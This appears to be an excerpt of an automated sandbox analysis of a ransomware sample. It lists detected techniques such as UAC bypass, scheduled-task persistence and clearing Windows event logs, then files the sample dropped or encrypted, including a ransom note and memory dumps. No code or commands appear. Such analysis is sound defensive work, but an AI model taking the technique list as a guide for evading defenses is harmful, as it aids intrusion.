Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
7Clear Windows Event Logs
1File Deletion
6Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
7-zip.chm.[ID-547DED5D][[email protected]].9nv
7z.sfx.[ID-547DED5D][[email protected]].9nv
7zCon.sfx.[ID-547DED5D][[email protected]].9nv
History.txt.[ID-547DED5D][[email protected]].9nv
descript.ion.[ID-547DED5D][[email protected]].9nv
settings.dat
BrowsingTopicsState
f_00000c
f_000026
f_00005a
the-real-index
the-real-index
the-real-index
000001.dbtmp
MANIFEST-000001
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe594f3f.TMP
the-real-index
index.txt
index.txt~RFe5be2cb.TMP
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
blocklist
settings.dat
settings.dat
settings.dat
1681219a-67c6-44e0-b25e-2465e9accd3f.tmp
8b492bc9-10a8-4c12-aede-b22607780b50.tmp
f_0000c8
the-real-index
the-real-index
the-real-index~RFe58ae4c.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index~RFe58b6b8.TMP
the-real-index
the-real-index
index.txt
the-real-index
the-real-index~RFe58f0a4.TMP
sync_diagnostic.log
Local State
Local State
Local State
Local State
Local State
Local State
data_1
d0dc2667-de30-4cc6-8eba-85690c786fca.tmp
iconcache_idx.db
thumbcache_idx.db
www.bing[2].xml
adb.bat
default.dic
f01b4d95cf55d32a.automaticDestinations-ms
CachedImage_1920_1080_POS4.jpg
TranscodedWallpaper
#Restore-My-Files.txt
f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe
f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.zip
f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.zip:Zone.Identifier
icon265445164.ico
memory/2488-2896-0x0000020FC3900000-0x0000020FC3A00000-memory.dmp
memory/2488-22288-0x0000020FC2260000-0x0000020FC2360000-memory.dmp
memory/2488-2948-0x0000020FC3E50000-0x0000020FC3F50000-memory.dmp
memory/2488-2923-0x0000020FD5220000-0x0000020FD5240000-memory.dmp
memory/2488-2922-0x00000210D5710000-0x00000210D5730000-memory.dmp
memory/2488-2895-0x0000020FC2260000-0x0000020FC2360000-memory.dmp
memory/2488-22392-0x00000210E70D0000-0x00000210E71D0000-memory.dmp
memory/2488-3004-0x0000020FC3200000-0x0000020FC3300000-memory.dmp
memory/2488-2887-0x0000020FC2620000-0x0000020FC2720000-memory.dmp
memory/2488-22319-0x00000210D56F0000-0x00000210D5710000-memory.dmp
memory/2488-22316-0x0000020FC3FB0000-0x0000020FC3FD0000-memory.dmp
memory/2488-22301-0x0000020FC38E0000-0x0000020FC3900000-memory.dmp
memory/2488-22292-0x0000020FC3E50000-0x0000020FC3F50000-memory.dmp
memory/13900-22108-0x000002629F7E0000-0x000002629F7F0000-memory.dmp
memory/13900-22100-0x000002629F740000-0x000002629F750000-memory.dmp
memory/15372-22266-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22265-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22263-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22262-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22261-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22264-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22260-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22254-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22253-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp
memory/15372-22252-0x0000025B1AC00000-0x0000025B1AC01000-memory.dmp